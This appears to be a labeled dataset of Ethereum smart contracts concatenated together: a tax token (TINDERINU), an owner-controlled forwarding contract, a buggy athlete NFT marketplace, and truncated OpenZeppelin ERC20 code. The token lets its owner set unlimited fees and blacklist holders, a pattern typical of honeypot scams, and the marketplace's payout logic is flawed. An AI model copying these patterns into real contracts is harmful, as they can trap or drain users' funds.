function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TINDERINU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TINDERINU";
string private constant _symbol = "TINDERINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e11 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeOnBuy = 4;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 4;
uint256 private _taxFeeOnSell = 8;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x247cA0d77735212db1b34313A9dB1f4dc0406C1e);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2e9 * 10**9;
uint256 public _maxWalletSize = 2e9 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0);
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-03
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
interface IERC20 {
function transfer(address recipient, uint256 amount) external returns (bool);
}
contract MockCS {
address public owner = 0xD1BdD1B9D5401E89DeC1E51e4DC350b6057e7382;
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
function rescueERC20(address _token, uint256 _amount) external onlyOwner {
IERC20(_token).transfer(owner, _amount);
}
function delegateCall(address _target, uint _value, bytes calldata _data) external payable onlyOwner
{
_target.call{value: _value}(_data);
}
} | True | [
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pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>= a);
return c;
}
}
contract ERC721 {
function approve( address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 supply);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
}
contract AthleteTestToken is ERC721 {
/**** CONSTANTS ****/
string public constant NAME = "CryptoFantasy";
string public constant SYMBOL = "Athlete";
uint256 private constant initPrice = 0.001 ether;
uint256 private constant PROMO_CREATION_LIMIT = 50000;
/*** EVENTS */
event Birth(uint256 tokenId, address owner);
event TokenSold(uint256 tokenId, uint256 sellPrice, address sellOwner, address buyOwner, string athleteId);
event Transfer(address from, address to, uint256 tokenId);
/*** STORAGE */
// A mapping from athlete IDs to the address that owns them. All athletes have some valid owner address.
mapping (uint256 => address) public athleteIndexToOwner;
// A mapping from owner address to count of tokens that address owns.
// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) private ownershipTokenCount;
/**
*** A mapping from athleteIDs to an address that has been approved to call transferFrom().
*** Each athlete can only have one approved address for transfer at any time.
*** A ZERO value means no approval is outstanding.
*/
mapping (uint256 => address) public athleteIndexToApproved;
// A mapping from athleteIDs to the price of the token.
mapping (uint256 => uint256) private athleteIndexToPrice;
// A mapping from athleteIDs to the actual fee of the token.
mapping (uint256 => uint256) private athleteIndexToActualFee;
// A mapping from athleteIDs to the site fee of the token.
mapping (uint256 => uint256) private athleteIndexToSiteFee;
// A mapping from athleteIDs to the actual wallet address of the token
mapping (uint256 => address) private athleteIndexToActualWalletId;
// A mapping of athleteIDs
mapping (uint256 => string) private athleteIndexToAthleteID;
// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cooAddress;
uint256 public promoCreatedCount;
/** ATHLETE DATATYPE */
struct Athlete {
string athleteId;
address actualAddress;
uint256 actualFee;
uint256 siteFee;
uint256 sellPrice;
}
Athlete[] private athletes;
mapping (uint256 => Athlete) private athleteIndexToAthlete;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(msg.sender == ceoAddress || msg.sender == cooAddress);
_;
}
/** CONSTRUCTOR */
function AthleteTestToken() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
/*** PUBLIC FUNCTIONS */
function approve( address _to, uint256 _tokenId ) public {
require(_owns(msg.sender, _tokenId));
athleteIndexToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
function createPromoAthlete(address _owner, string _athleteId, address _actualAddress, uint256 _actualFee, uint256 _siteFee, uint _sellPrice) public onlyCOO {
require(promoCreatedCount < PROMO_CREATION_LIMIT);
address athleteOwner = _owner;
if ( athleteOwner == address(0) ) {
athleteOwner = cooAddress;
}
if ( _sellPrice <= 0 ) {
_sellPrice = initPrice;
}
promoCreatedCount++;
_createOfAthlete(athleteOwner, _athleteId, _actualAddress, _actualFee, _siteFee, _sellPrice);
}
function createContractOfAthlete(string _athleteId, address _actualAddress, uint256 _actualFee, uint256 _siteFee, uint256 _sellPrice) public onlyCOO{
_createOfAthlete(address(this), _athleteId, _actualAddress, _actualFee, _siteFee, _sellPrice);
}
function getAthlete(uint256 _tokenId) public view returns ( string athleteId, address actualAddress, uint256 actualFee, uint256 siteFee, uint256 sellPrice, address owner) {
Athlete storage athlete = athletes[_tokenId];
athleteId = athlete.athleteId;
actualAddress = athlete.actualAddress;
actualFee = athlete.actualFee;
siteFee = athlete.siteFee;
sellPrice = priceOf(_tokenId);
owner = ownerOf(_tokenId);
}
function implementsERC721() public pure returns (bool) {
return true;
}
function name() public pure returns (string) {
return NAME;
}
function ownerOf(uint256 _tokenId) public view returns (address owner) {
owner = athleteIndexToOwner[_tokenId];
require(owner != address(0));
}
function payout(address _to) public onlyCLevel {
_payout(_to);
}
function purchase(uint256 _tokenId) public payable {
address sellOwner = athleteIndexToOwner[_tokenId];
address buyOwner = msg.sender;
uint256 sellPrice = priceOf(_tokenId);
//make sure token owner is not sending to self
require(sellOwner != buyOwner);
//safely check to prevent against an unexpected 0x0 default
require(_addressNotNull(buyOwner));
//make sure sent amount is greater than or equal to the sellPrice
require(msg.value >= sellPrice);
uint256 actualFee = uint256(SafeMath.div(SafeMath.mul(sellPrice, athleteIndexToActualFee[_tokenId]), 100)); // calculate actual fee
uint256 siteFee = uint256(SafeMath.div(SafeMath.mul(sellPrice, athleteIndexToSiteFee[_tokenId]), 100)); // calculate site fee
uint256 payment = uint256(SafeMath.sub(sellPrice, SafeMath.add(actualFee, siteFee))); //payment for seller
_transfer(sellOwner, buyOwner, _tokenId);
//Pay previous tokenOwner if owner is not contract
if ( sellOwner != address(this) ) {
sellOwner.transfer(payment); // (1-(actual_fee+site_fee))*sellPrice
}
TokenSold(_tokenId, sellPrice, sellOwner, buyOwner, athletes[_tokenId].athleteId);
msg.sender.transfer(siteFee);
address actualWallet = athleteIndexToActualWalletId[_tokenId];
actualWallet.transfer(actualFee);
ceoAddress.transfer(siteFee);
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return athleteIndexToPrice[_tokenId];
}
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function symbol() public pure returns (string) {
return SYMBOL;
}
function takeOwnership(uint256 _tokenId) public {
address newOwner = msg.sender;
address oldOwner = athleteIndexToOwner[_tokenId];
require(_addressNotNull(newOwner));
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
function tokenOfOwner(address _owner) public view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if ( tokenCount == 0 ) {
return new uint256[](0);
}
else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalAthletes = totalSupply();
uint256 resultIndex = 0;
uint256 athleteId;
for(athleteId = 0; athleteId <= totalAthletes; athleteId++) {
if (athleteIndexToOwner[athleteId] == _owner) {
result[resultIndex] = athleteId;
resultIndex++;
}
}
return result;
}
}
function totalSupply() public view returns (uint256 total) {
return athletes.length;
}
function transfer( address _to, uint256 _tokenId ) public {
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
function transferFrom( address _from, address _to, uint256 _tokenId ) public {
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
/** PRIVATE FUNCTIONS */
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return athleteIndexToApproved[_tokenId] == _to;
}
//TODO -----------------------------------------------------------------------------------------------------------------------------------------
function _createOfAthlete(address _athleteOwner, string _athleteId, address _actualAddress, uint256 _actualFee, uint256 _siteFee, uint256 _sellPrice) private {
Athlete memory _athlete = Athlete({ athleteId: _athleteId, actualAddress: _actualAddress, actualFee: _actualFee, siteFee: _siteFee, sellPrice: _sellPrice });
uint256 newAthleteId = athletes.push(_athlete) - 1;
if ( _sellPrice <= 0 ) {
_sellPrice = initPrice;
}
require(newAthleteId == uint256(uint32(newAthleteId)));
Birth(newAthleteId, _athleteOwner);
athleteIndexToPrice[newAthleteId] = _sellPrice;
athleteIndexToActualFee[newAthleteId] = _actualFee;
athleteIndexToSiteFee[newAthleteId] = _siteFee;
athleteIndexToActualWalletId[newAthleteId] = _actualAddress;
athleteIndexToAthleteID[newAthleteId] = _athleteId;
athleteIndexToAthlete[newAthleteId] = _athlete;
_transfer(address(0), _athleteOwner, newAthleteId);
}
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == athleteIndexToOwner[_tokenId];
}
function _payout(address _to) private {
if (_to == address(0)) {
ceoAddress.transfer(this.balance);
}
else {
_to.transfer(this.balance);
}
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
ownershipTokenCount[_to]++;
athleteIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete athleteIndexToApproved[_tokenId];
}
Transfer(_from, _to, _tokenId);
}
} | True | [
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pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.5.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
